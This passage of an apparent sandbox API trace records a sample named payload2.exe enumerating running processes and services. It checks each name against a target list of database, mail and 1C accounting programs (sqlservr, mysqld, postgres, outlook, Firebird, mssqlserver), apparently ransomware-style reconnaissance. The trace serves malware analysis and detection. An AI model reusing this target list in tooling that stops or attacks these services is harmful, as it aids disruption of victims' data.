(lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.561] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0265.561] lstrlenW (lpString="userinit.exe") returned 12 [0265.562] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.562] lstrlenW (lpString="dwm.exe") returned 7 [0265.562] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.562] lstrlenW (lpString="explorer.exe") returned 12 [0265.562] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.562] lstrlenW (lpString="spoolsv.exe") returned 11 [0265.562] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.562] lstrlenW (lpString="taskhost.exe") returned 12 [0265.563] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.563] lstrlenW (lpString="svchost.exe") returned 11 [0265.563] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0265.563] lstrlenW (lpString="payload2.exe") returned 12 [0265.563] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0265.563] lstrlenW (lpString="reader_sl.exe") returned 13 [0265.563] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0265.563] lstrlenW (lpString="dllhost.exe") returned 11 [0265.563] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x564, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0265.564] lstrlenW (lpString="cmd.exe") returned 7 [0265.564] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0265.564] lstrlenW (lpString="conhost.exe") returned 11 [0265.564] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0265.564] lstrlenW (lpString="mode.com") returned 8 [0265.564] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0265.565] CloseHandle (hObject=0x134) returned 1 [0265.565] Sleep (dwMilliseconds=0x1f4) [0266.212] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x312930 [0266.507] EnumServicesStatusExW (in: hSCManager=0x312930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0266.507] GetLastError () returned 0xea [0266.507] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa64) returned 0x315b18 [0266.507] EnumServicesStatusExW (in: hSCManager=0x312930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x315b18, cbBufSize=0xa64, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x315b18, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0266.508] CloseServiceHandle (hSCObject=0x312930) returned 1 [0266.508] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0266.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0266.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0266.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0266.508] lstrlenW (lpString="AudioSrv") returned 8 [0266.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0266.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0266.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0266.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0266.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0266.508] lstrlenW (lpString="BFE") returned 3 [0266.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0266.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0266.508] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0266.508] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0266.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0266.508] lstrlenW (lpString="CscService") returned 10 [0266.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0266.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0266.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0266.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0266.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0266.508] lstrlenW (lpString="DcomLaunch") returned 10 [0266.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0266.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0266.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0266.509] lstrlenW (lpString="Dhcp") returned 4 [0266.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0266.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0266.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0266.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0266.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0266.509] lstrlenW (lpString="Dnscache") returned 8 [0266.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0266.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0266.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0266.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0266.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0266.509] lstrlenW (lpString="eventlog") returned 8 [0266.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0266.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0266.509] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0266.509] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0266.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0266.509] lstrlenW (lpString="EventSystem") returned 11 [0266.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0266.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0266.509] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0266.509] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0266.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0266.509] lstrlenW (lpString="gpsvc") returned 5 [0266.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0266.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0266.509] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0266.509] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0266.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0266.510] lstrlenW (lpString="lmhosts") returned 7 [0266.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0266.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0266.510] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0266.510] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0266.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0266.510] lstrlenW (lpString="MMCSS") returned 5 [0266.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0266.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0266.510] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0266.510] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0266.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0266.510] lstrlenW (lpString="MpsSvc") returned 6 [0266.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0266.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0266.510] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0266.510] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0266.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0266.510] lstrlenW (lpString="nsi") returned 3 [0266.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0266.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0266.510] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0266.510] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0266.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0266.510] lstrlenW (lpString="PlugPlay") returned 8 [0266.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0266.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0266.510] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0266.510] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0266.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0266.510] lstrlenW (lpString="Power") returned 5 [0266.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0266.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0266.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0266.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0266.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0266.511] lstrlenW (lpString="ProfSvc") returned 7 [0266.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0266.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0266.511] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0266.511] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0266.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0266.511] lstrlenW (lpString="RpcEptMapper") returned 12 [0266.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.511] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0266.511] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0266.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0266.511] lstrlenW (lpString="RpcSs") returned 5 [0266.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0266.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0266.511] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0266.511] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0266.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0266.511] lstrlenW (lpString="SamSs") returned 5 [0266.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0266.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0266.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0266.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0266.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0266.511] lstrlenW (lpString="Schedule") returned 8 [0266.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0266.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0266.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0266.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0266.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0266.511] lstrlenW (lpString="SENS") returned 4 [0266.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0266.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0266.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0266.512] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0266.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0266.512] lstrlenW (lpString="ShellHWDetection") returned 16 [0266.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.512] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0266.512] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0266.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0266.512] lstrlenW (lpString="Spooler") returned 7 [0266.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0266.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0266.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0266.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0266.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0266.512] lstrlenW (lpString="Themes") returned 6 [0266.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0266.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0266.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0266.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0266.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0266.512] lstrlenW (lpString="UxSms") returned 5 [0266.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0266.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0266.512] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0266.512] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0266.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0266.512] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x315b18 | out: hHeap=0x2a0000) returned 1 [0266.512] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0266.513] Process32FirstW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.514] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.514] lstrlenW (lpString="System") returned 6 [0266.514] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0266.514] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0266.514] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0266.514] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0266.514] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0266.514] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0266.514] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0266.514] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.514] lstrlenW (lpString="smss.exe") returned 8 [0266.514] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0266.514] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0266.514] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0266.514] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0266.514] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0266.514] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0266.515] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0266.515] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.515] lstrlenW (lpString="csrss.exe") returned 9 [0266.515] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.515] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.515] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.515] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.515] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.515] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.515] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0266.515] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.515] lstrlenW (lpString="wininit.exe") returned 11 [0266.515] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0266.515] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0266.515] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0266.515] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0266.515] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0266.515] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0266.515] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0266.515] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.516] lstrlenW (lpString="csrss.exe") returned 9 [0266.516] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.516] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.516] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.516] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.516] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.516] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.516] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0266.516] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.516] lstrlenW (lpString="winlogon.exe") returned 12 [0266.516] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0266.516] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0266.516] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0266.516] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0266.516] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0266.516] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0266.516] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0266.516] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.517] lstrlenW (lpString="services.exe") returned 12 [0266.517] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0266.517] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0266.517] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0266.517] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0266.517] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0266.517] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0266.517] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0266.517] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.517] lstrlenW (lpString="lsass.exe") returned 9 [0266.517] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0266.517] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0266.517] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0266.517] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0266.517] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0266.517] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0266.517] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0266.517] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0266.517] lstrlenW (lpString="lsm.exe") returned 7 [0266.517] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0266.518] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0266.518] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0266.518] lstrcmpiW 